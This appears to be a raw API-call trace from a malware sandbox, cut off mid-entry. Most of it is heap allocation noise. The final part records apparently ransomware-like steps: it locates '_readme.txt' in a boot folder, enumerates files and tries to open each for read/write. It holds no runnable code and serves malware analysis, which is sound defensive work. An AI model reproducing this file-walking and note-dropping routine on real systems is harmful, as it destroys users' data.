[0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.478] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0122.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.479] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.479] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.479] PathFindFileNameW (pszPath="") returned="" [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.479] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.479] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.479] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.479] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.479] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.480] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.480] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.480] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.480] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.480] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0122.480] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.480] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.480] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0122.481] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.481] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: 